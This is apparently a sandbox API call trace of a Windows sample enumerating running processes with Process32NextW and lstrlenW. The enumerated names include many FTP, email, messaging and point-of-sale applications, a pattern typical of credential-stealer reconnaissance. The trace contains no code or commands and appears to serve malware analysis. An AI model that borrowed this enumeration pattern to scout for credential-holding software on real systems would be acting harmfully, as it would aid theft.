	[0071.644] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0071.644] lstrlenW (lpString="svchost.exe") returned 11
	[0071.644] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0071.645] lstrlenW (lpString="svchost.exe") returned 11
	[0071.645] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0071.645] lstrlenW (lpString="svchost.exe") returned 11
	[0071.645] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0071.646] lstrlenW (lpString="svchost.exe") returned 11
	[0071.646] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0071.646] lstrlenW (lpString="svchost.exe") returned 11
	[0071.647] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0071.647] lstrlenW (lpString="svchost.exe") returned 11
	[0071.647] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0071.648] lstrlenW (lpString="svchost.exe") returned 11
	[0071.648] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0071.648] lstrlenW (lpString="svchost.exe") returned 11
	[0071.648] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0071.649] lstrlenW (lpString="spoolsv.exe") returned 11
	[0071.649] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0071.649] lstrlenW (lpString="svchost.exe") returned 11
	[0071.649] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0071.650] lstrlenW (lpString="audiodg.exe") returned 11
	[0071.650] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0071.650] lstrlenW (lpString="sihost.exe") returned 10
	[0071.650] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0071.651] lstrlenW (lpString="svchost.exe") returned 11
	[0071.651] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0071.651] lstrlenW (lpString="taskhostw.exe") returned 13
	[0071.651] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0071.652] lstrlenW (lpString="explorer.exe") returned 12
	[0071.652] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0071.653] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0071.653] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0071.653] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0071.653] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0071.654] lstrlenW (lpString="Memory Compression") returned 18
	[0071.654] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0071.654] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0071.654] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0071.655] lstrlenW (lpString="SearchUI.exe") returned 12
	[0071.655] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0071.655] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0071.655] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0071.656] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0071.656] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending.exe")) returned 1
	[0071.656] lstrlenW (lpString="pending.exe") returned 11
	[0071.656] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="impressed-bug-workers.exe")) returned 1
	[0071.657] lstrlenW (lpString="impressed-bug-workers.exe") returned 25
	[0071.657] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="sw_sorts.exe")) returned 1
	[0071.658] lstrlenW (lpString="sw_sorts.exe") returned 12
	[0071.658] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trademarks-clara-cancer.exe")) returned 1
	[0071.658] lstrlenW (lpString="trademarks-clara-cancer.exe") returned 27
	[0071.658] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="search.exe")) returned 1
	[0071.659] lstrlenW (lpString="search.exe") returned 10
	[0071.659] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="compatibility.exe")) returned 1
	[0071.660] lstrlenW (lpString="compatibility.exe") returned 17
	[0071.660] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="freeze negotiations.exe")) returned 1
	[0071.660] lstrlenW (lpString="freeze negotiations.exe") returned 23
	[0071.660] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ellen rebound.exe")) returned 1
	[0071.661] lstrlenW (lpString="ellen rebound.exe") returned 17
	[0071.661] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="try.exe")) returned 1
	[0071.661] lstrlenW (lpString="try.exe") returned 7
	[0071.661] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="consultancy.exe")) returned 1
	[0071.662] lstrlenW (lpString="consultancy.exe") returned 15
	[0071.662] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="especially.exe")) returned 1
	[0071.662] lstrlenW (lpString="especially.exe") returned 14
	[0071.662] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="collectibles-register-voluntary.exe")) returned 1
	[0071.663] lstrlenW (lpString="collectibles-register-voluntary.exe") returned 35
	[0071.663] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="headlines-cope-finances.exe")) returned 1
	[0071.663] lstrlenW (lpString="headlines-cope-finances.exe") returned 27
	[0071.663] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="modules.exe")) returned 1
	[0071.664] lstrlenW (lpString="modules.exe") returned 11
	[0071.664] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="jane_conscious.exe")) returned 1
	[0071.664] lstrlenW (lpString="jane_conscious.exe") returned 18
	[0071.664] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="namespace-bankruptcy.exe")) returned 1
	[0071.665] lstrlenW (lpString="namespace-bankruptcy.exe") returned 24
	[0071.665] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0071.665] lstrlenW (lpString="3dftp.exe") returned 9
	[0071.665] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0071.666] lstrlenW (lpString="absolutetelnet.exe") returned 18
	[0071.666] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0071.667] lstrlenW (lpString="alftp.exe") returned 9
	[0071.667] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0071.667] lstrlenW (lpString="barca.exe") returned 9
	[0071.667] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0071.668] lstrlenW (lpString="bitkinex.exe") returned 12
	[0071.668] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0071.669] lstrlenW (lpString="coreftp.exe") returned 11
	[0071.669] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0071.670] lstrlenW (lpString="far.exe") returned 7
	[0071.670] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0071.671] lstrlenW (lpString="filezilla.exe") returned 13
	[0071.671] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0071.672] lstrlenW (lpString="flashfxp.exe") returned 12
	[0071.672] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0072.090] lstrlenW (lpString="fling.exe") returned 9
	[0072.090] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0072.091] lstrlenW (lpString="foxmailincmail.exe") returned 18
	[0072.091] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0072.093] lstrlenW (lpString="gmailnotifierpro.exe") returned 20
	[0072.093] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0072.094] lstrlenW (lpString="icq.exe") returned 7
	[0072.094] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0072.096] lstrlenW (lpString="leechftp.exe") returned 12
	[0072.096] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0072.097] lstrlenW (lpString="ncftp.exe") returned 9
	[0072.097] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0072.101] lstrlenW (lpString="notepad.exe") returned 11
	[0072.101] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0072.102] lstrlenW (lpString="operamail.exe") returned 13
	[0072.102] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0072.104] lstrlenW (lpString="pidgin.exe") returned 10
	[0072.104] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0072.106] lstrlenW (lpString="scriptftp.exe") returned 13
	[0072.106] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0072.108] lstrlenW (lpString="skype.exe") returned 9
	[0072.108] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0072.109] lstrlenW (lpString="smartftp.exe") returned 12
	[0072.109] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1
	[0072.111] lstrlenW (lpString="thunderbird.exe") returned 15
	[0072.111] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0072.112] lstrlenW (lpString="totalcmd.exe") returned 12
	[0072.112] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0072.114] lstrlenW (lpString="trillian.exe") returned 12
	[0072.114] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0072.115] lstrlenW (lpString="webdrive.exe") returned 12
	[0072.115] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0072.117] lstrlenW (lpString="whatsapp.exe") returned 12
	[0072.117] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0072.118] lstrlenW (lpString="winscp.exe") returned 10
	[0072.118] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0072.119] lstrlenW (lpString="yahoomessenger.exe") returned 18
	[0072.119] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0072.120] lstrlenW (lpString="active-charge.exe") returned 17
	[0072.121] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0072.122] lstrlenW (lpString="accupos.exe") returned 11
	[0072.122] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0072.123] lstrlenW (lpString="afr38.exe") returned 9
	[0072.123] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0072.124] lstrlenW (lpString="aldelo.exe") returned 10
